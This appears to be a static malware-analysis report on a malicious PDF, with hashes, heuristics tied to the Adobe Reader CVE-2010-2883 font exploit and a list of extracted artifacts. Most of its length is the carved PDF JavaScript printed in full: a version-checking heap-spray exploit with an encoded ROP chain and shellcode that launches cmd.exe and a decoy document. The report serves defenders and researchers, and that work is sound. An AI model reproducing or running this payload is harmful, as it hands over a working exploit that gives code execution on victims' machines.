Malicious PDF — malware analysis report

Static analysis result for SHA-256 f85cbda8378e49db…

MALICIOUS

PDF

196.0 KB Created: 9K%{kSà|12É(w¦÷ ¿ÊÖ Authoring application: <Àw/z/¼8cfzŸwSeÉ¢ZG蔔)=øöÈWf First seen: 2026-05-09
MD5: aa022be8a345d4d0998f1b14dd7d916a SHA-1: d5291c17605430a26faae05bbaf076ee37a7f102 SHA-256: f85cbda8378e49db7546de96196d1700e7c525f9d4b85bfbfa0525cc5581c48d
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

This PDF file was flagged as malicious by an ML classifier with high confidence. Heuristics indicate the presence of JavaScript, which is used to obfuscate and hide the actual payload. The PDF is encrypted, further suggesting an attempt to evade static analysis. The combination of these factors points to a malicious document likely designed to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9908

Heuristics 9

  • Adobe Reader CoolType SING font exploit — CVE-2010-2883 critical CVE likely CVE_2010_2883
    PDF embeds a TrueType/OpenType font with an actual SING table and pairs it with JavaScript heap-spray shellcode. This matches the public Adobe Reader CoolType SING exploit shape for CVE-2010-2883.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xci/2.8/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text
    • http://www.w3.org/1999/xhtmlIn PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.7/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.6/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xfa/promoted-desc/In PDF document text
    • http://ns.adobe.com/xfdf/In PDF document text
    • http://www.xfa.org/schema/xfa-form/2.8/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 20

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0x1DD1 163 bytes
SHA-256: e0144341db8527ba18c137f148e8eaff8af385daf611924ab196d0fa8ec8e9c7
embedded_file_obj0009.bin pdf-embedded-file PDF EmbeddedFile object 9 at offset 0x1EC1 1774 bytes
SHA-256: 71201fb924c97c047a7c2e59157e3f1564222a32bfb2c46191a38f954f74e065
embedded_file_obj0010.bin pdf-embedded-file PDF EmbeddedFile object 10 at offset 0x221E 5839 bytes
SHA-256: f3a3ef50ae70a3e4028caea66842678e2ec2b18b19fbf3b1726df3b332b8b927
embedded_file_obj0011.bin pdf-embedded-file PDF EmbeddedFile object 11 at offset 0x27B7 3023 bytes
SHA-256: f6828dd1c2c33f5f9b3d297876597a713abd12a8e3a8bcc14eda8a62895139c5
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x2B49 380 bytes
SHA-256: 411f16403b598a52ccd2670726c48ff023b8eef033487f67dd4a8108b9b9f47b
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x2C38 4641 bytes
SHA-256: e1cadb2570b7e9e6c61bb4b700c56babef0cacf811bfab7e5d6d69e6a014d8ba
embedded_file_obj0014.bin pdf-embedded-file PDF EmbeddedFile object 14 at offset 0x3033 80 bytes
SHA-256: 2ebdd7efeaa1190ff6bad8cbd649b313e3969564018f204e7385b97c2fab1e19
embedded_file_obj0015.bin pdf-embedded-file PDF EmbeddedFile object 15 at offset 0x30DD 56 bytes
SHA-256: 4a60a9864cdf7382475d51051a03fdc43b32c31eb508893ccfccece34957f9f1
javascript_obj0049_000.js pdf-javascript-stream PDF /JS object 49 at offset 0x4779 13711 bytes
SHA-256: d15444e8e3e3f00f62a5892b19c0884cb8dfc24ebb65f0f4aa02450497f2f106
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
function dddd()
{
ver = app.viewerVersion

if(ver>9.4)
{
while(1);
}

else if (ver>=9)
{
   aaaaa();
   var cWord = this.getPageNthWord(4, 0);
   this.selectPageNthWord(4 , 0);
}
else if (ver>=8)
{
  bbbbb();
  var cWord = this.getPageNthWord(2, 0);
   this.selectPageNthWord(2 , 0);
}

else if (ver>=7)
{
  bbbbb();
  var cWord = this.getPageNthWord(6, 0);
   this.selectPageNthWord(6 , 0);
}
else
{
while(1);
}
}
function aaaaa()
{


//afjp;ajf'klaf
var dhskhf=unescape //ahfpajf

var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj =dhskhf;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "\x25\x754141\x25\x754141%u63a5%u4a80\x25\x750000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85\x25\x750000%u1000\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0002\x25\x750000%u0102\x25\x750000\x25\x750000\x25\x750000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80\x25\x75ffff\x25\x75ffff\x25\x750000\x25\x750000%u0040\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0001\x25\x750000\x25\x750000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80\x25\x75ffff\x25\x75ffff%u0022\x25\x750000\x25\x750000\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020\x25\x750000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff%u1000\x25\x750000"+

"%ue990%u00ad%u0000%u8fc2%ud836%udfa0%ud516%uf0b5"+
"%u78de%u05d0%ue989%u281b%u56bf%uf7be%ud61e%u1697"+
"%ufa5f%u66a1%u5652%u54d0%u8819%ud9a5%ue913%u3a8e"+
"%u2b17%ub29b%u5382%ue3a2%u5762%u6957%u776e%u726f"+
"%u2e64%u7865%u0065%u6441%u626f%u2e65%u6470%u0066"+
"%u6d63%u2e64%u7865%u2065%u632f%u7020%u6e69%u2067"+
"%u6e2d%u3120%u3120%u3732%u302e%u302e%u312e%u2620"+
"%u4120%u6f64%u6562%u702e%u6664%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%ue800%u0000%u0000%u815d%ub2ed%u0000%ue800"+
"%u0265%u0000%ud08b%uf58b%ufe8b%uce8b%uc183%ue834"+
"%u0240%u0000%u0068%u0004%u6a00%uff40%u1455%u8589"+
"%u0091%u0000%u6850%u0104%u0000%u55ff%u8b10%u9185"+
"%u0000%u5000%u55ff%u8b24%u9185%u0000%u8d00%u345d"+
"%u3880%u7400%u4003%uf8eb%u138a%u1088%u3b80%u7400"+
"%u4004%ueb43%u33f3%u89c9%u754d%u4583%u0475%uc933"+
"%uff51%u7575%u55ff%u8908%u8985%u0000%u3d00%u86a0"+
"%u0001%ue672%uc933%u5151%u8068%u0138%uff00%u7575"+
"%u55ff%u3320%u51c9%u858d%u00a1%u0000%u4150%ue1c1"+
"%u5102%u858d%u008d%u0000%uff50%u7575%u55ff%u8b1c"+
"%u898d%u0000%u3900%u8d8d%u0000%u7500%u33ad%u51c9"+
"%u6851%u3890%u0001%u75ff%uff75%u2055%uc933%u8d51"+
"%ua185%u0000%u5000%uc141%u02e1%u8d51%u8585%u0000"+
"%u5000%u75ff%uff75%u1c55%uc933%u8d51%ua185%u0000"+
"%u5000%uc141%u02e1%u8d51%u9985%u0000%u5000%u75ff"+
"%uff75%u1c55%u6a55%u6800%u0080%u0000%u026a%u006a"+
"%u016a%u0068%u0000%u8d40%u3445%u8350%u0445%ueb05"+
"%u8b0a%u8bf5%u55ff%uec8b%u66ff%ue804%ufff1%uffff"+
"%u835d%ufff8%u840f%u0122%u0000%u4589%u6a79%u6a00"+
"%u6800%u38a0%u0001%u75ff%uff75%u2055%u0068%u0004"+
"%u6a00%uff40%u1455%u8589%u0081%u0000%u858b%u0085"+
"%u0000%u8589%u009d%u0000%u7be8%u0001%u5500%u006a"+
"%u858b%u0091%u0000%u8350%u2c45%ueb05%u8b0a%u8bf5"+
"%u55ff%uec8b%u66ff%ue82c%ufff1%uffff%u555d%u006a"+
"%u8068%u0000%u6a00%u6a02%u6a00%u6801%u0000%u4000"+
"%u458d%u5040%u0aeb%uf58b%uff8b%u8b55%uffec%u0466"+
"%uf1e8%uffff%u5dff%uf883%u0fff%u9d84%u0000%u8900"+
"%u7d45%ub5ff%u0099%u0000%u406a%u55ff%u8914%u9585"+
"%u0000%u3300%u05c0%u38a0%u0001%u8503%u0085%u0000"+
"%u006a%u006a%uff50%u7575%u55ff%u3320%u51c9%u858d"+
"%u00a1%u0000%uff50%u99b5%u0000%uff00%u95b5%u0000"+
"%uff00%u7575%u55ff%u8b1c%ua18d%u0000%u8b00%u95b5"+
"%u0000%u8b00%ub3fe%uacca%uc332%u2834%ufeaa%ue2c3"+
"%u6af6%u8d00%ua585%u0000%u5000%ub5ff%u0099%u0000"+
"%u958b%u0095%u0000%uff52%u7d75%u55ff%uff30%u7d75"+
"%u55ff%u5500%u006a%u458d%u504a%u0aeb%uf58b%uff8b"+
"%u8b55%uffec%u2c66%uf1e8%uffff%u5dff%u006a%uff6a"+
"%u55ff%u9028%u50ad%ue852%u002e%u0000%u0789%uc483"+
"%u8308%u04c7%uf13b%uec75%u56c3%u5751%uc933%u8b64"+
"%u3071%u768b%u8b0c%u1c76%u468b%u8b08%u207e%u368b"+
"%u3966%u184f%uf275%u595f%uc35e%u8b60%u246c%u8b24"+
"%u3c45%u548b%u7828%ud503%u4a8b%u8b18%u205a%udd03"+
"%u34e3%u8b49%u8b34%uf503%uff33%uc033%uacfc%uc084"+
"%u0774%ucfc1%u030b%uebf8%u3bf4%u247c%u7528%u8be1"+
"%u245a%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04"+
"%uc503%u4489%u1c24%uc361%u85c7%u00a9%u0000%u0000"+
"%u0000%u006a%u858d%u00a1%u0000%u8150%u9dbd%u0000"+
"%u0000%u0004%u7f00%uff08%u9db5%u0000%ueb00%u6805"+
"%u0400%u0000%ub5ff%u0081%u0000%u75ff%uff75%u1c55"+
"%uc933%u8b66%ua18d%u0000%u8b00%u81bd%u0000%u8b00"+
"%ub3f7%uacac%uc332%u2834%ufeaa%ue2c3%u6af6%u8d00"+
"%ua585%u0000%u5000%ub5ff%u00a1%u0000%u958b%u0081"+
"%u0000%uff52%u7975%u55ff%u8b30%ua595%u0000%u2900"+
"%u9d95%u0000%u8300%u9dbd%u0000%u0000%u847f%u75ff"+
"%uff79%u0055%u90c3");

var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000)  //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x200;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";
}

function bbbbb()
{

var dhskhf=unescape //ahfpajf

var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj =dhskhf;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj("\u4141\u4141\u4141\u4141\u4141\u4141\u17f2\u4a82\u5000\u4a84\u630f\u4a80\u7ec9\u4a81\u203c\u4a82\u57bc\u4a80\u156a\u4a82\u0000\u0000\u0000\u1000\u0000\u0000\u0000\u0000\u0002\u0000\u0102\u0000\u0000\u0000\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0008\u0000\u597d\u4a80\u7ec9\u4a81\u2038\u4a82\u57bc\u4a80\u156a\u4a82\uffff\uffff\u0000\u0000\u0040\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0008\u0000\u597d\u4a80\u7ec9\u4a81\u2030\u4a82\u57bc\u4a80\u156a\u4a82\uffff\uffff\u0022\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u17f2\u4a82\u5004\u4a84\u630f\u4a80\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0030\u0000\u597d\u4a80\u7ec9\u4a81\u5004\u4a84\ua649\u4a81\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0020\u0000\u597d\u4a80\u17f2\u4a82\u156a\u4a82\u00a0\u4a82\u7ec9\u4a81\u0034\u0000\u795a\u4a80\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u000a\u0000\u597d\u4a80\u7ec9\u4a81\u2140\u4a82\u57bc\u4a80\uffff\uffff\uffff\uffff\uffff\uffff\u1000\u0000"+

"%ue990%u00ad%u0000%u8fc2%ud836%udfa0%ud516%uf0b5"+
"%u78de%u05d0%ue989%u281b%u56bf%uf7be%ud61e%u1697"+
"%ufa5f%u66a1%u5652%u54d0%u8819%ud9a5%ue913%u3a8e"+
"%u2b17%ub29b%u5382%ue3a2%u5762%u6957%u776e%u726f"+
"%u2e64%u7865%u0065%u6441%u626f%u2e65%u6470%u0066"+
"%u6d63%u2e64%u7865%u2065%u632f%u7020%u6e69%u2067"+
"%u6e2d%u3120%u3120%u3732%u302e%u302e%u312e%u2620"+
"%u4120%u6f64%u6562%u702e%u6664%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%ue800%u0000%u0000%u815d%ub2ed%u0000%ue800"+
"%u0265%u0000%ud08b%uf58b%ufe8b%uce8b%uc183%ue834"+
"%u0240%u0000%u0068%u0004%u6a00%uff40%u1455%u8589"+
"%u0091%u0000%u6850%u0104%u0000%u55ff%u8b10%u9185"+
"%u0000%u5000%u55ff%u8b24%u9185%u0000%u8d00%u345d"+
"%u3880%u7400%u4003%uf8eb%u138a%u1088%u3b80%u7400"+
"%u4004%ueb43%u33f3%u89c9%u754d%u4583%u0475%uc933"+
"%uff51%u7575%u55ff%u8908%u8985%u0000%u3d00%u86a0"+
"%u0001%ue672%uc933%u5151%u8068%u0138%uff00%u7575"+
"%u55ff%u3320%u51c9%u858d%u00a1%u0000%u4150%ue1c1"+
"%u5102%u858d%u008d%u0000%uff50%u7575%u55ff%u8b1c"+
"%u898d%u0000%u3900%u8d8d%u0000%u7500%u33ad%u51c9"+
"%u6851%u3890%u0001%u75ff%uff75%u2055%uc933%u8d51"+
"%ua185%u0000%u5000%uc141%u02e1%u8d51%u8585%u0000"+
"%u5000%u75ff%uff75%u1c55%uc933%u8d51%ua185%u0000"+
"%u5000%uc141%u02e1%u8d51%u9985%u0000%u5000%u75ff"+
"%uff75%u1c55%u6a55%u6800%u0080%u0000%u026a%u006a"+
"%u016a%u0068%u0000%u8d40%u3445%u8350%u0445%ueb05"+
"%u8b0a%u8bf5%u55ff%uec8b%u66ff%ue804%ufff1%uffff"+
"%u835d%ufff8%u840f%u0122%u0000%u4589%u6a79%u6a00"+
"%u6800%u38a0%u0001%u75ff%uff75%u2055%u0068%u0004"+
"%u6a00%uff40%u1455%u8589%u0081%u0000%u858b%u0085"+
"%u0000%u8589%u009d%u0000%u7be8%u0001%u5500%u006a"+
"%u858b%u0091%u0000%u8350%u2c45%ueb05%u8b0a%u8bf5"+
"%u55ff%uec8b%u66ff%ue82c%ufff1%uffff%u555d%u006a"+
"%u8068%u0000%u6a00%u6a02%u6a00%u6801%u0000%u4000"+
"%u458d%u5040%u0aeb%uf58b%uff8b%u8b55%uffec%u0466"+
"%uf1e8%uffff%u5dff%uf883%u0fff%u9d84%u0000%u8900"+
"%u7d45%ub5ff%u0099%u0000%u406a%u55ff%u8914%u9585"+
"%u0000%u3300%u05c0%u38a0%u0001%u8503%u0085%u0000"+
"%u006a%u006a%uff50%u7575%u55ff%u3320%u51c9%u858d"+
"%u00a1%u0000%uff50%u99b5%u0000%uff00%u95b5%u0000"+
"%uff00%u7575%u55ff%u8b1c%ua18d%u0000%u8b00%u95b5"+
"%u0000%u8b00%ub3fe%uacca%uc332%u2834%ufeaa%ue2c3"+
"%u6af6%u8d00%ua585%u0000%u5000%ub5ff%u0099%u0000"+
"%u958b%u0095%u0000%uff52%u7d75%u55ff%uff30%u7d75"+
"%u55ff%u5500%u006a%u458d%u504a%u0aeb%uf58b%uff8b"+
"%u8b55%uffec%u2c66%uf1e8%uffff%u5dff%u006a%uff6a"+
"%u55ff%u9028%u50ad%ue852%u002e%u0000%u0789%uc483"+
"%u8308%u04c7%uf13b%uec75%u56c3%u5751%uc933%u8b64"+
"%u3071%u768b%u8b0c%u1c76%u468b%u8b08%u207e%u368b"+
"%u3966%u184f%uf275%u595f%uc35e%u8b60%u246c%u8b24"+
"%u3c45%u548b%u7828%ud503%u4a8b%u8b18%u205a%udd03"+
"%u34e3%u8b49%u8b34%uf503%uff33%uc033%uacfc%uc084"+
"%u0774%ucfc1%u030b%uebf8%u3bf4%u247c%u7528%u8be1"+
"%u245a%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04"+
"%uc503%u4489%u1c24%uc361%u85c7%u00a9%u0000%u0000"+
"%u0000%u006a%u858d%u00a1%u0000%u8150%u9dbd%u0000"+
"%u0000%u0004%u7f00%uff08%u9db5%u0000%ueb00%u6805"+
"%u0400%u0000%ub5ff%u0081%u0000%u75ff%uff75%u1c55"+
"%uc933%u8b66%ua18d%u0000%u8b00%u81bd%u0000%u8b00"+
"%ub3f7%uacac%uc332%u2834%ufeaa%ue2c3%u6af6%u8d00"+
"%ua585%u0000%u5000%ub5ff%u00a1%u0000%u958b%u0081"+
"%u0000%uff52%u7975%u55ff%u8b30%ua595%u0000%u2900"+
"%u9d95%u0000%u8300%u9dbd%u0000%u0000%u847f%u75ff"+
"%uff79%u0055%u90c3");


var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000)  //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x200;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";


}

dddd();
font_00_sfnt_off00005782.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x5782 26931 bytes
SHA-256: 6d57f79cc2262eca2ce95fcdae6c9a7ef3168e52f0781ca5de3aeb7e9a1a9571
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
font_01_sfnt_off000085e7.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x85E7 24970 bytes
SHA-256: 060872164909b43a73ef1d51e37b624d4bc77beeb1f13480756f4658e52f4fae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x0C
font_02_sfnt_off0000b0de.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xB0DE 71524 bytes
SHA-256: 426fc31e492fe224eea571b50d4b8a8539f1b24595527e3932236df755edd36a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
embedded_file_obj0022_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 22 at offset 0x9041; filter decode failed 152 bytes
SHA-256: 79d5b63eb00000c129d588686bf439bac604a727614a0db8840c48b299f78073
embedded_file_obj0023_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 23 at offset 0x9136; filter decode failed 771 bytes
SHA-256: b5ecf2abcd22d79576870f547c3db274dd7fb1a947b979d6506d3735b158e749
embedded_file_obj0024_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 24 at offset 0x9497; filter decode failed 1342 bytes
SHA-256: e17785767b053ac0d6d9cc223270d66a65483159eeb8f42a6424243d2dbe2730
embedded_file_obj0025_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 25 at offset 0x9A32; filter decode failed 824 bytes
SHA-256: 59eae40f687b792127176c4b6846b18036dc6d7a9dd6a1cdd1ac31665a2104ee
embedded_file_obj0026_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 26 at offset 0x9DC7; filter decode failed 150 bytes
SHA-256: 9421d346b35bb9be6dc02b99743ba6280a5abaea856c849a67e483c9452863e4
embedded_file_obj0027_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 27 at offset 0x9EBA; filter decode failed 932 bytes
SHA-256: 63fa30d8fca5ab87ba8c0d7169e428188e3f2f9a2b26ff85b2735151551cc3a8
embedded_file_obj0028_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 28 at offset 0xA2BA; filter decode failed 81 bytes
SHA-256: 8c89b26d5f9ad93157e2336da6e07853389d9037f821c832addd4d37be6d42b8
embedded_file_obj0029_undecoded.bin pdf-embedded-file-undecodable PDF EmbeddedFile object 29 at offset 0xA367; filter decode failed 63 bytes
SHA-256: e5c5faf98858f4198aaf63297f83791030b67f21181661e7b47302b13fc824bd

Open this report in the interactive analyzer, or submit your own file for analysis.